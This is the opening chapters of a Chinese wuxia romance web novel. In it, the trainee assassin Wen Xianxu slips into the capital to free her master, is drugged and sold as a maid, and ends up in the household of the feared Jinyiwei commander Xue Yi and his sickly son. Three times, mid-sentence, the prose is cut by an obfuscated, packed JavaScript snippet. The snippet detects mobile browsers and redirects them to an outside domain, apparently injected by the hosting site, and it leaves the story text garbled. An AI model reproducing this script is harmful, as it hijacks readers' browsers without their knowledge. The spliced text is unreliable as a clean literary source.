《豢养恶犬少爷》 1. 过关 元贞八年的夏天格外炎热,随着时间接近正午,天地如同一个巨大的蒸笼,将行路人困在其中炙烤。 入京的小径上,一行由十余辆马车组成的商队的行进速度渐渐慢下来。 商队里有人叫苦道:“老大,这日头也太毒了,我们且寻个荫处避避吧。” 领队的驳回了他的提议:“这批货可是何少卿订的,岂能怠慢?只余几里路就到京城了,大家再坚持一下吧。” 车夫们的唉声叹气从外头传来,躲在车厢里的温闲许也失望不已。 她与一堆精美的布料在狭小的空间里呆了两三个时辰,衣裳已经被汗水浸湿了,意识也像蒙着一层水雾,昏昏沉沉的。 她应当是煎寿阁有史以来最狼狈的杀手了,虽然她不久前刚接到入阁试炼,离成为正式的挂牌杀手还有一步之遥。 ——可眼下还没有入京城,她就快被热死了。 她不禁懊恼自己习武时惯会偷懒,没有和师父一样出神入化的轻功,也找不出夜间值守的侍卫的破绽,只得出此下策,混进商队运送的货物中。 不知过了多久,门外终于响起了一道欣喜的声音:“看,是城门!” 老天爷似乎也被商人们骤然高涨的情绪感染,平地居然无端刮起了一阵风,将温闲许车厢前的帷子掀开一条细缝。 随之而来的清凉让温闲许如同溺水之人抓住了浮木,这才真正清醒过来。 她遭此大罪就是为了通过守卫森严的城门关卡,可不能在关键时候掉链子。 约莫又过了一炷香的时间,马车的颠簸停止了。温闲许透过车帷的缝隙,屏息凝神往外面看去。 正值饭点,城门口只排列着十几名官兵。他们同样被炎热的天气折磨得苦不堪言,负责检查文书的人满头大汗,神色不虞地上前向商队领队索要路引。 领队毕恭毕敬地呈上过关文书,趁机将几枚银钱塞到官兵的手心里:“官爷您看,文书可都齐全着呢,这些车里的货物都是何少卿订的,何少卿特地嘱咐小人要在今天申时前送到。况且现在太阳毒辣,官爷不如行个方便,自己也早些去荫处歇息。” 却见那官兵虽然收了银钱,还是皮笑肉不笑道:“最近京城里不太平,所有入城的行人与车马都要检查,这也是虑及城里诸位大人的安危,想必何少卿不会因此怪罪于你。” “哎哟,有官爷在,哪里会有危险?何况薛指挥使已经将为非作歹的贼人抓获,现在里头再安全不过了。”领队满脸堆笑,又递过去一个荷包。 官兵傲慢地掂了掂荷包,紧皱的眉头稍稍松开了些:“刚好今儿你赶巧了,林小将军班师回朝,驰道被山贼破坏了,你进去吧,莫耽搁了将军的行程。” 温闲许之前打听到金陵来的商队不会被搜查,想不到背后玩的是这样的把戏,不禁心生感慨:领队手里白花花的银子可比她修行多年的武功好用多了。 可惜她现在还没有承接任务、获取报酬的资格,兜里只剩下几枚铜钱叮当作响,实在可怜。 马车重新起步,温闲许悬着的心刚落下,谁知队伍刚挪动几寸就被一道玩味的声音叫住:“慢着,如此长的商队,可得让我瞧瞧里面有什么新奇玩意儿。” 一辆由四人抬着的显轿闯入温闲许的视野中,黑漆漆的轿身无帷无幔,顶上覆盖着一张竹篾编制的凉篷,洒下的阴影将轿中人的面目也掩了去。 轿子两旁还各跟着一个撑着曲盖的小厮,足见来人身份尊贵。 “何人在此撒野……” 看清轿中人的样貌之后,官兵立马跪倒在地:“小人不知是薛公子大驾光临,方才说话冲撞了您。这车队小人刚刚已经领人搜查过了,只是一些寻常物品,薛公子恐怕不会感兴趣。” “当真一辆辆检查过?但我见大人官服整洁,连一缕灰都没有粘上呢?” 一只华丽的金丝云纹靴从显轿里探出来,显轿主人先在伏地官兵的背上狠狠碾了几下,又把他当作轿凳踩着下到了轿。 温闲许本以为乘轿的是达官显贵,没想到是个十七八岁的少年。他身穿一件做工精美的素色长袍,面色却比衣裳还要白上几分。 温闲许观察片刻就下了结论:身形清瘦、面色苍白、步伐虚浮,是个病秧子。 见少年拔腿欲往车厢的方向去,刚刚还暗潮汹涌的官兵和商队领队此时忽然齐心了。 官兵连滚带爬地挡住少年的去路:“薛公子且慢,由您来查看实在不合规矩,不知道您想要什么稀罕玩意?改明儿卑职挑个好的呈到府上去。” 商队领队赔笑:“公子有所不知,这批货物是何少卿专门预订的,小人还赶着去城里头交差呢。” 少年剑眉一挑,不买他们两人的账:“我管订货的是何少卿还是张少卿,便是他们此时在这,也得给我这个面子,今日这批货我是看定了!” 糟了,她还躲在车厢里呢!温闲许万万没想到半路杀出个程咬金,一时傻眼。 队尾的车夫也凑在一起小声讨论:“这人是谁家的公子?好生霸道。” “瞧他病恹恹的模样,听说薛阎王家里有位汤药当饭吃的主儿,使坏的手段比他爹还厉害,莫非……” 正逢此时,少年忽地咳嗽起来,指缝间露出的帕子果真绣着北镇抚司的獬豸纹。 温闲许瞳孔骤缩,“薛阎王”的名号她再清楚不过——当今的锦衣卫指挥使薛懿,因折磨人的花样层出不穷而闻名朝野。 她此番入京正是为了救出被这魔头擒住的师父蒋渝,不想冤家路窄,竟在半道被他儿子截住去路。 见那官兵迟迟不肯让道,薛槐安的声音淬着寒意:“来人,把这两个没眼力见的家伙带到一旁去,我倒要亲眼看看这里头究竟装着什么,说不定有人勾结外敌,里面正窝藏着一个刺客呢。” “使不得、使不得啊……” 跟着薛槐安的两名小厮看着平平无奇,身手却非同一般,三下五除二就把欲上前阻拦的人制住。 薛槐安果真一辆辆马车查看起来,一身打眼的白衣在烈日下晃得人眼花,像话本里索命的白无常。 “刺客”本人温闲许急忙寻找能够躲藏的地方,可车厢里只有一匹匹柔软的布料,哪有地方可藏? 只要掀开车帘,她必将无所遁形。 若在此处被人发现,别说救出师父,她恐怕小命都不保了。 少年靴底摩擦沙砾的声音逐渐清晰,每一步都像踩在温闲许的心上。 温闲许心一横:看来只能搏一搏了,幸好来查看的只有少年一个,凭她的武功对付一个病秧子还是绰绰有余的。 她取下头上的木簪紧紧攥在手心,身体也严丝合缝地贴在门后,准备等少年一靠近就掳到车里当人质。 哪怕今日她要殒命于此,能够取得薛懿儿子的狗命也值了! 狠厉之余,她又生出几分对还在诏狱中受难的师傅的愧疚:徒儿不孝,不能亲自救您脱离苦海,但徒儿定让这个薛家的混球给您陪葬! 转眼间,少年已出现在温闲许藏身的车厢前。温闲许闪电般出手抓住少年手臂,准备将其拖入车内,突然,头上传来一阵木柴燃烧的“噼啪”声。 ——天气太热,车顶竟然着火了。 拉车的马受了惊,两只前蹄高高扬起,温闲许因失重松开手,面前的帷幔也跟着被掀开。 她猝不及防地对上薛槐安的视线。 一刹那时间仿佛被无限拉长,薛槐安瞪大的凤眼里,不断跃动的火苗将她不知所措的模样映得清清楚楚。 “有、有鬼——”话音未落,薛槐安像断了线的木偶一样栽倒在地。 车帷很快又在重力作用下合上,失控的马儿嘶鸣着朝城门的方向狂奔。 守门的士兵们畏惧着少年方才的狠话,一时间无人敢敢轻举妄动,眼睁睁地看着马车跑入城中。 过了好几秒,此起彼伏的叫喊声才从后面远远传来:“快来人啊,薛公子晕倒了!” “我的车,我辛辛苦苦从江南运来的锦缎,快追、快追啊……” * “咳、咳咳。”马儿一口气跑了几百米远,温闲许寻了个无人的间隙从浓烟滚滚的车厢里翻滚出来。 见预想中的追兵迟迟未到,她紧绷的神经终于松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800056|175085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懈下来,后知后觉地意识到:刚刚那病秧子好像把自己当作了鬼,被吓晕了。 她怀疑地抹了一把脸,师父说她遗传了她娘的美人胚子,况且她长到这么大,利用这张脸博取同情的事情可没少做。 只要她适时地挤出几滴眼泪,就算犯了天大的错误师父也不忍心责罚她。 有这么丑吗,居然能把人吓晕,难道京城人的审美不一样?温闲许郁闷不已。 她转念一想,病秧子可是惯会颠倒黑白的恶人薛懿的种,美丑不分也不是什么稀罕事,心思又回到正事上。 阁主说等她到了京城,就去回春药铺找组织安排的接头人。温闲许正要找人打听回春药铺的位置,才发现刚刚一路横冲直撞的马车已经把她带入了一条僻静深巷中。 除了旁边几间破败不堪的茅草屋,就只有叶子在风中打着旋儿——莫说店铺,街道上连半个人影也见不着。 只好先找个热闹的地方了。温闲许从贴身收着的油布小包里拿出一张师父给她的人皮面具,戴上之后顿时变成了一个叫人过目即忘的普通姑娘。 温闲许足尖往地上轻轻一点,身形如燕掠起,转眼间已出现在一间茅屋的屋顶,忽然脚下传来一声凄惨的哭喊:“葵儿求爹爹了,不要把我送到薛府去……” 直觉告诉她此“薛府”与薛懿十有八九脱不了干系,温闲许当即改了主意,俯身通过茅草之间的空隙观察里头的情况。 只见一个面黄肌瘦的丫头不断磕头哀求着同样瘦弱的中年男人,此人想必就是她的“爹爹”,两人旁边还站着一个五大三粗的男人。 “我现在已经学会绣荷包、手帕了,待针脚再工整些就可以拿去集市上卖钱了。葵儿不要什么荣华富贵,只求爹爹让我陪伴在爹娘身边、孝顺爹娘!” 女孩磕头时没收着半分力气,地面上很快就出现了血点,温闲许光看着都觉得自己的额头也隐隐作痛。 瘦弱的男人急忙扶起女儿:“既然葵儿不愿意,要不就……” 一旁的壮汉打断道:“二哥莫要糊涂,当薛府的丫鬟可是多少人求之不得的美差,要不是葵儿出生的时候好,说破唇皮也是白搭。再说了,荷包手帕这些玩意儿才值几个钱,单是薛府一个月的月钱,就抵得上你和嫂子辛苦一年的积蓄了!” “爹爹,阿叔骗人!”叶葵哭得上气不接下气,身子不住发抖,“薛懿是杀人不眨眼的活阎王,薛家二少爷还吃人,之前去的丫鬟都被他们……呜呜,我不要被吃掉……” 温闲许瞪大了眼睛,天子脚下,薛家人竟敢猖狂至此?真是泯灭人性、丧尽天良! 她又想到刚刚拦车的病秧子,虽然他也是薛懿的儿子,不过叶葵口中的“薛家二少爷”多半另有其人——那病秧子胆小如鼠,怕是见到血就要晕过去,更不要说吃人这样骇人听闻的事情了。 壮汉将叶葵像拎小鸡仔似的拽了过来,掴了她一巴掌:“薛大人的名讳也是你能直呼的?流言蜚语也敢当真,当今世道哪有什么人吃人的事!” 瘦弱的男人担忧地望着女儿:“巷尾的红丫头前年也到薛府去了,之后一次也没有回来过,你说不会真的出什么事了吧……” “二哥,丫头片子不懂事也罢了,你也跟着犯傻?攀上高枝就翻脸不认人的白眼狼你还见得少了?红丫头肯定在府里头吃香喝辣呢!” “但、但……” 男人显然犹豫不决,壮汉揽过他的肩膀低声劝道:“二哥,咱们今天好不容易把嫂子单独支出去,过了这村可就没这店了,薛府出的钱可比寻常人家多好几倍呢……” 他眼睛一转,提议道:“不如这样,你先把葵儿送到薛府去,凑十两银子替我把赌债还了,下月我肯定给你二十两,不光咱们之间的旧账能一笔勾销,还能把叶葵赎回来。” 听到这里,温闲许勉强拼凑出了事情的来龙去脉。薛二少吃人的传言尚且不知真假,可眼前赌鬼为了区区几两银子就要卖掉侄女的恶行,却是实打实的。 她指尖摸上兜里的碎石子,正要给他点颜色瞧瞧,忽然身下传来不祥的“咔嚓”声,年久失修的茅草屋竟然塌了! 2. 上当 温闲许本能地蜷住身体,下落时脑海中只闪过一个念头:师父只教了她偷听时要隐匿气息,也没说不能趴在茅草屋上啊! 烟尘四散,温闲许惊觉自己身下的“地面”居然带着温度,身体传来的疼痛也比预想中轻微许多。 她好奇地支起身子,发现自己竟然坐在那壮汉的背上。壮汉高大的身躯此刻正呈“大”字状陷在飞茅断木之中,只有微微抽搐的四肢证明他一息尚存。 莫不是连老天爷也看不过眼,决定亲自出手惩治这混蛋了? 下到地面之前,温闲许故意瞄准壮汉的腰眼狠狠一踩,壮汉顿时发出一阵杀猪般的惨叫。 行侠仗义一时畅快,对上父女两人惊愕的目光时,温闲许又心虚起来:要如何解释她会从屋顶上掉下来?难道要承认自己趴在上面偷听多时,还不慎把人家的屋顶压塌了? 而且她手头的钱只够打尖住店的,肯定赔不出修缮的钱了…… 女孩父亲面色惨白,嘴唇哆嗦着说不出话来,女孩更是惊讶得连眼泪都忘了流。三人面面相觑,一时无话。 “妈的,刚刚谁打老子……”一声粗语打破了屋内的沉寂,醒来的壮汉骂骂咧咧地从地上爬起来,看见温闲许时突然眼前一亮:“咦,二哥你们家什么时候多了一个闺女?和葵儿看上去差不多年纪……” 他伸手想要去抓温闲许,大门突然被人从外面推开了,一个像竹竿一样高瘦的女人火急火燎地冲进来,指着壮汉鼻尖骂道:“你这赌棍,老娘今天把话撂在这,只要我还有一口气在,你就休想动我的葵儿!” 叶葵如见到救星般,一头扎入女人的怀抱中。女人怜爱地抚摸着她的脑袋,心安神定后才注意到温闲许与一片狼藉的室内。 “叶老三你长本事了,还拐了一个女孩来……天呐,我的房子!” 叶老三苦哈哈地赔笑道:“好嫂嫂别生气,这女孩可不是我拐来的,二哥和葵儿可以给我作证哩,我这就走。” 他刚踏出门槛不久,叶葵便倒豆子似的把方才惊险的情形全与母亲说了。 讲到温闲许如何从天而降、把不怀好意的三叔砸了个半死时,女人“噗嗤”一下笑出声来,连屋顶损坏的怒火都消散了不少,甚至主动询问温闲许要不要一起吃顿便饭。 温闲许怔怔地望着女孩依偎在母亲怀中的样子,一股陌生的情绪在心中翻涌。 她八岁时生过一场大病,醒来以后就忘记了小时候的事情,师父带着她在神山生活。 待她年岁稍长,方知终年云雾缭绕的神山就是江湖上最神秘的刺客组织“煎寿阁”的老巢,时时带着和煦笑意的师父则是阁中令人闻风丧胆的顶尖杀手“千面修罗”。 凡是见过无相刀出鞘的人,无一不沦为刀下亡魂。 作为“千面修罗”唯一的徒弟,她早晚要接过师父手中的无相刀的。谁知她等来的不是预想中的入阁试炼,而是师父被狗贼薛懿擒住的噩耗。 她向阁主请命入京救师父,阁主竟然破天荒地应允了,更将此次行动当作她的入阁试炼。 于是温闲许头一回下了神山。 一直以来,温闲许的生活都围绕着师父一人,可见到眼前这副温情的场面,她忽然意识到,自己应当也是有父母的。 可是她的父母到哪儿去了呢? 鬼使神差地,她答应了女人一同吃饭的邀约。但她时刻谨记着不能暴露自己的身份,因此当饭桌上女人询问她的姓名、年龄和住处时,她都以“记不清了”糊弄了过去。 “时候不早了,我就不打搅……” 一顿食不知味的午餐很快结束了,温闲许正准备辞别这一家人,突然一阵眩晕袭来,眼前的阳光分裂出无数光点,女人的笑脸也在视野中扭曲变形。 这饭菜有问题! 温闲许的指甲深深没入掌心,她踉跄着向门口挪了两三步,只觉一阵天旋地转,很快就失去了意识。 * 温闲许像襁褓中的婴儿一样被两只纤细的手臂托着,她懒洋洋地睁开眼,只见抱着她的人如同一座巍峨的大山,面部隐没在云雾中,令温闲许看不真切。 她急切地抬起手,想要把云层拨开,一睹此人的真容。可无论她如何去够,指尖始终与讨厌的流云相距甚远,只能在半空中乱晃。 察觉到温闲许不安分的动作,巨大的手臂也小幅度地摇晃起来:“咱们小闲许最乖了,不怕不怕……在呢……” 然而,不知从何处传来的争吵声盖过了女人轻柔的呢喃。 “二郎,不是说好了让这丫头扮作葵儿去薛府的吗?” “爹爹,求求您了,我不要去——” “我的葵儿!你们叶家人没有一个好东西……” 如沐春风的絮语消失了,依偎着的手臂也硌得人生疼,温闲许比之前更加不安起来。 忽然一滴水落在她的头上,她抬眼望去,恼人的云雾已经消散,显露出一张她再熟悉不过的脸,新生的创口争先恐后地抢占着这副高大的躯体,鲜血不断流淌下来。 师父!温闲许有许多话想与他说,他现在被关押在何处?“活阎王”薛懿使了什么手段折磨他?他还能撑多久? 千言万语淤在嗓子眼,化作一声凄凉的呜咽。 温闲许呆住了,啜泣声仍旧持续不断地传来,她终于意识到自己在梦境中,猛地惊醒过来。 她顿时回想起了自己昏迷之前的遭遇,不禁后悔自己被温情的表象蒙蔽,这才中了叶家人的圈套。 温闲许支起身体四下环顾,自己此时正躺在一辆简陋的板车上,一个骑马的汉子在前头拉着,旁边还坐着五六个年纪相仿的小姑娘。 女孩们无一不抹着眼泪,刚才温闲许梦中的哭声多半出自她们之口。 一张眼熟的面孔很快落入温闲许的视线中——害自己落到如今田地的罪魁祸首叶葵,她积攒的怒火霎时寻到了宣泄口,横生出一股力气揪住对方的衣领:“你们居然在饭菜里下药!” 叶葵害怕地缩着身体,眼泪淌得更凶了:“我、我不知道,是爸爸妈妈……对不起……” 再责问她也改变不了眼前的局面,温闲许深吸一口气,心思回到该如何脱身上。 也不知道叶家人下的什么药,现在药效还未过去,只能等恢复力气再想办法溜走了。 温闲许忽然意识到自己还不清楚此行的目的地,转头问叶葵:“我们这是要去哪儿?” 瘦小的女孩打了个寒颤:“去薛府……都怪我连累了你……” 结合叶葵说过的薛家二少爷会吃丫鬟的传言,温闲许终于知道女孩们为何一个个都哭得如此凄惨了。 可她还有想不通的地方,叶家人把路过的自己送去薛府不稀奇,奇怪的是叶葵为什么也在这车上? “你也要去薛府?你娘不是已经回来了吗?” “薛府给的钱多,而且阿哥今年又落榜了,家里还要再供阿哥上几年学。”叶葵犹豫数秒,幽怨地瞥了温闲许一眼:“我们家的屋子还被你压塌了……” 这事儿竟然还能赖到她头上?温闲许刚准备与叶葵理论几句,马车忽地停下了。 拉车的男人吆喝着姑娘们下了车,自己则快步向路口一位衣着华贵的老妇人走去。 两人攀谈几句,老妇人嵌在皱纹里的眼睛像量衣尺般扫过温闲许一行人,好半晌才面露难色地点点头,把装好银子的布包交到男人手上,表示新入府丫鬟们的交接已经完成了。 温闲许习武多年,即使现在中了药,耳力也比普通人敏锐不少,老妇人的嘀咕声自然没能逃过她的耳朵:“哎,要不是老爷当年非得把二少爷这个丧门星领回来,坏了薛府的名声,何至于如今让这些寒碜的丫头入府侍奉。” 她清清嗓子,给一字排开的丫头们训话:“都给我竖起耳朵听好了!” “老身是大夫人跟前伺候了二十年的孙嬷嬷,进了薛府的门,第一要紧的就是要管住自己的眼珠子跟嘴皮子,若是听了不该听的,或者说了不该说的……” 孙嬷嬷手指划过颈间,做了个抹脖子的动作,见女孩们一个个如同惊弓之鸟,她迤迤然转过身:“好了,过了前头这道弯,咱们就到薛府了,姑娘们快把自己收拾干净,随老身来吧。” 温闲许混在女孩们中间,磨磨蹭蹭地跟在孙嬷嬷后头。 转过拐角,面前果然出现了一扇青砖砌成的半圆拱门,门楣上写着“涤尘”两个遒劲有力的大字,显然是专供下人进出的偏门。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800057|175085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几人经过如同野兽狰狞巨口的拱门,踏上羊肠一样弯弯曲曲的小径。 温闲许莫名生出一个可怕的念头:她好像一不小心闯入了“薛府”这头猛兽的肚子里,即将被它消化得干干净净了。 孙嬷嬷一边领路,一边絮絮叨叨地同她们交代薛府的情况:“府里头还住着两位公子,一位是老爷的嫡长子薛阳和,你们见到了须恭恭敬敬地叫声‘大少爷’,另一位……” 她犹豫了一下说道:“也是老爷的孩子,叫薛槐安,他常年闭门养病,性子不同于常人,你们若是遇着了,规规矩矩地唤声‘二少爷’便是。” 行了不到百米,前头突然传来两个人争吵的声音:“放肆!我要出门,难道还得经过你个奴才同意不成?” “小的不敢!可今日天气实在炎热,少爷中午又受了暑气,大夫说了要静养几日……” 两人的脚步声由远及近,往温闲许她们这儿来了。 “少爷”的语气与之前拦车检查的薛公子如出一辙,而且“少爷”中午还中过暑,温闲许缓缓地眨眨眼睛,不会真的这么巧吧? 不一会儿,两个男子一前一后地出现在道路尽头。 前面的身着一袭墨竹暗纹的长衫,竹纹随着步履时隐时现,宛若微风吹拂过的竹枝,稍不注意就要隐没在园内碧色中,正是与温闲许有过一面之缘的病秧子。 病秧子这回没有乘轿辇,改步行了。温闲许早些时候见过的两个小厮也只剩了一个,正撑着一把油纸伞亦步亦趋地跟在他身后。 孙嬷嬷见状匆匆把女孩们往路边赶,颤巍巍地向青衣少年俯下身:“老奴给二少爷请安。大热天的,二少爷怎的到下人们通行的偏门来了?老奴这就唤人给您备轿……” 她又回头催促惊慌失措的女孩们:“愣着干什么?还不快给二少爷行礼!” “奴婢给二少爷请安……”问候声零零落落地响起,音量细若蚊吟。 叶葵紧张地抓住了温闲许的胳膊,甚至有几个胆小的姑娘膝盖一软,当场瘫坐在了地上。 没想到眼前弱不禁风的病秧子居然就是薛槐安,传闻中吃人的魔头! 温闲许不可置信地打量了少年好几眼。不过他有一个杀人如麻的好爹爹,说不定活阎王薛懿已经事先替他处理好了“食材”,只等侍女盛上来,一勺勺喂入他的口中。 一想到薛懿剖人心肝的画面,温闲许的背脊蹿上一股寒意,再看薛槐安时,俊美的面容也沾上了三分恶鬼相。 孙嬷嬷在府中掌管内务多年,纵是主子也要给她三分薄面。薛槐安好歹停下了步伐,说出来的话却夹枪带棒:“不劳孙嬷嬷挂心,我在屋里闷久了,出来透口气而已。倒是孙嬷嬷,不忙着在母亲跟前摇尾巴,改行来教导新人了?” 面对这尊煞星,孙嬷嬷大气都不敢喘:“回二少爷,老奴正要把这批刚入府的丫鬟送去账房画押呢。自打佩兰姑娘前儿个夜里私自离了府,二少爷的停云轩便短了人手,大夫人一直记着呢,待会就给您送一个过来,好填了她的缺。” 薛槐安冰冷的视线扫过雀儿一样缩在嬷嬷后面的女孩们:“听闻母亲前些时日身子抱恙,我瞧着怕不是寻常风寒,而是患了眼疾。” 他冷哼道:“不然如何容得这些阿猫阿狗在府里扑腾?孙嬷嬷且替我回了母亲,我一个也……等等。” 温闲许原本还担心病秧子会认出她来,转念一想,她现在已经戴上了师父做的人皮面具,有什么好怕的?于是津津有味地看着病秧子如何把孙嬷嬷怼得哑口无言。 直到再次对上薛槐安阴鸷的眼神,温闲许才发现她在一群瑟瑟发抖的姑娘中太过显眼,立马佯装掩面哭泣,试图融入散发着忧愁气息的人群。 可惜为时已晚,薛槐安已经伸出修长的食指,明晃晃地指向温闲许的方位:“喂,你过来!” 即便如此,温闲许仍心存侥幸,说不定他叫的不是她呢? 她悄悄往旁边挪了一寸,可无论她如何移动,薛槐安指尖始终如勾魂锁一样锁定着她。 少年不耐烦的声音彻底打破她的幻想:“就是你!动来动去的那个!” 完了,他喊的人果然是她!可是他叫她过去做什么,难道……她的伪装露馅了? 3. 入府 薛槐安今天光天化日之下撞见鬼,被吓晕过去也罢了,现在想偷溜出府又遇上了孙嬷嬷几人。 他刚准备寻个由头结束对话,蓦地在“阿猫阿狗”堆中望见了一双亮晶晶的眼睛,神似两个时辰前害他昏厥的女鬼。 难道他中午见着的不是鬼,而是活生生的人?思及这一可能,薛槐安的眼底倏地蒙上一层阴翳:“还不过来?看来得请孙嬷嬷帮忙喊一喊,毕竟这些丫头都是母亲选的,我说的话不如孙嬷嬷的好使。” 孙嬷嬷连忙把温闲许推到薛槐安面前:“二少爷莫要折煞老奴了,乡下来的丫头片子,还没来得及教礼仪规矩。快去,二少爷喊你呢!” 温闲许之前远观薛槐安时不觉得如何,直到此刻与他挨得近了,才惊觉此人竟比她高出一个多头。 阳光斜照在少年身上,投下的阴影把她全部笼罩住。她平视时只能看见薛槐安即将没入衣领的一截雪白肌肤,即使室外温度如此之高,少年的玉颈也不见半点汗水。 不似真人,倒像一个精致的瓷娃娃。 常言道“伸手不打笑脸人”,温闲许深吸一口气,挤出一个比哭还难看的笑容:“二少爷好,奴婢……” 她正思索着该给丫鬟身份的自己取个什么诨名,薛槐安的拇指与食指已经捏住了她的下巴,强迫她仰起头来。 薛槐安看着病怏怏的,力气却不小,温闲许的脸上立刻浮现出几道红痕。他冰凉的手指像蛇一样在她的下颌处游走,好几次都碰到了面具的边缘。 温闲许心头一惊,他不会真瞧出什么来了吧? 虽然她对师父的易容术深信不疑,但薛槐安这只病猫毕竟是薛懿这头猛虎下的崽,万一真懂些门道怎么办? 她才恢复了五六成内力,与中午见过的薛槐安小厮的身手相较,几乎毫无胜算。如果真摸出了什么不对劲的地方,她的小命恐怕就要交代在这里了…… 想到这里,她抑制不住地战栗起来。 “接着说话,抖什么抖?”薛槐安清冷的声音响起,“刚才不是看得很开心吗?” 温闲许哪还有心思给自己编名字,只想着如何让薛槐安的手停下来,情急之下顾不得尊卑有别,直接握住了他的手腕:“二少爷弄疼奴婢了……” “疼吗?”鸦羽似的长睫垂下,将薛槐安眼中的眸光掩去,他轻轻地挣开了温闲许的手,“疼也受着。” 二少爷素来厌恶与其他人有肢体接触,主动去碰新来的小丫头已经罕见,那小丫头竟敢反去捉二少爷的手! 孙嬷嬷倒吸了一口凉气,生怕薛槐安要当场发作。 可二少爷只毫无章法地将小丫头的脸蛋摸了一通,迟迟不见下一步动作。 孙嬷嬷能在薛府中当上掌事职位,自然是狐狸一样精明的人物。她觑着举止狎昵的两人,逐渐望出了几分不同的意味:二少爷今年也有十七岁了,莫不是对这丫头动了别的心思? 奇怪……孙嬷嬷不由得又把温闲许上下仔细打量了一遍,只见少女单薄的身体包裹在灰扑扑的粗布衫里,唯独一双亮得惊人的杏眼扑闪着。 莫说与大夫人房里水葱似的丫鬟相比,不少粗使丫头都比她多三分颜色,怎么偏偏她入了二少爷的眼? “千面修罗”蒋渝叱咤风云十数载,凭的不仅是登峰造极的无相刀法,更仗着一手出神入化的易容绝技。薛槐安摩挲许久也没有找到破绽,无趣地收回手。 温闲许悬着的心刚落下,又见薛槐安幽幽开口道:“孙嬷嬷倒提醒我了,佩兰不见以后,我院里少了个使唤的人,这两天都快把冬青的身子累垮了,不如你来补上吧。” 闻言,温闲许不禁一愣。她原本打算等药力散尽,就寻个人多眼杂的时候混出府去,与煎寿阁安排的接应人会合。 若是此时一个人跟着薛槐安到停云轩,要多显眼有多显眼,到时候还怎么开溜? 她忙不迭地找借口拒绝:“奴婢自幼体弱多病,昨天夜里刚着了凉,眼下喉咙疼得厉害。少爷金玉之体,万一不小心把病气过给了您……” 怕薛槐安不信,温闲许还装模作样地咳嗽了两声。 “病丫鬟与病主子,配得很。还是说……”薛槐安目光掠过少女微微发颤的指尖,“你不愿意?” “当然……”见薛槐安面若冰霜,一个“不”字在温闲许口中兜兜转转,还是咽了回去,“当然愿意,能够服侍少爷,实乃奴婢八辈子修来的福气。” 她心中偷偷将“福气”换了个词,她简直是倒了八辈子的血霉,才遇见薛槐安! 不知薛槐安信了她的鬼话没有,至少没有再刁难她了。 直到薛槐安准备领着人离开,孙嬷嬷才回过味来,匆忙出言阻止:“二少爷,请您三思呀!这批丫头出身卑贱,乃大夫人买来当粗使丫头的,少爷若想要通房,老奴立刻就去禀告大夫人,给您挑几个天仙似的姑娘,保准比画上的人儿还标致!” “谁说我要她做通房?照孙嬷嬷这话,难道我连一个小小的丫鬟也做不得主?” “二少爷误会老奴了,其实……”孙嬷嬷冷汗直冒。 气氛焦灼之时,宅院深处忽然飘来一声怒喝:“薛槐安这混账现在何处?” 不多时,刚才薛槐安现身的地方涌出来乌泱泱一群人。 为首的男人约莫三四十岁年纪,穿着一身玄青蟒袍,金线织就的四爪蟒纹在日光下熠熠生辉,衬得天色都黯淡了几分。 六名武夫模样的人分作两列,立于男人左右,他们的步伐与男人毫无二致,七人行走时只传来一道沉稳的脚步声,其武艺之高强可见一斑。 还有一个身穿杏色襦裙的丫鬟紧紧地跟着他们,炎炎夏日,她双手捧着一只装满冰块的青釉莲瓣纹盆,清凉的白雾从盆中袅袅升起,转眼间又与燥热的空气融为一体。 温闲许一眼就望见了领头男人的佩刀,它的刀身比普通的腰刀短小,刀脊笔直,而刀刃则呈现出微妙的弧度。 师父曾教过温闲许,全天下只有一种刀如此——锦衣卫的制式兵器,绣春刀。 “奴婢见过老爷!”这回不需要孙嬷嬷指点,丫头们争先恐后地伏下身子,唯恐惹怒来人,落得个身首异处的下场。 温闲许身体比脑袋机灵,回过神来时额头已经贴着地面,心跳如擂鼓。 出现在薛府里,佩戴着绣春刀,还被称作“老爷”的人,除了宅邸的主人“活阎王”薛懿,再没有第二个人了。 害师父入狱的歹人近在咫尺,温闲许此时才切身体会到两人实力之间的悬殊。 薛懿的武功已臻于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15800058|175085||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化境,若想要取她的性命,简直比捏死一只蚂蚁还简单,更不消说围绕在他身旁的六个绝世高手了。 温闲许连抬头偷看的勇气都没有,只敢通过余光观察两侧。旁边一双精致的青缎祥云靴映入眼帘,它的主人薛槐安仍旧笔直地站着,问候也不曾说,好像没有瞧见来人似的。 温闲许的视线里很快又出现了一双绣着蝴蝶花纹的鞋子,想必是与薛懿同行的丫鬟的。 不知丫鬟做了什么事,温闲许身前猛地炸开“哗啦”一声脆响,怡人的凉气扑面而来。 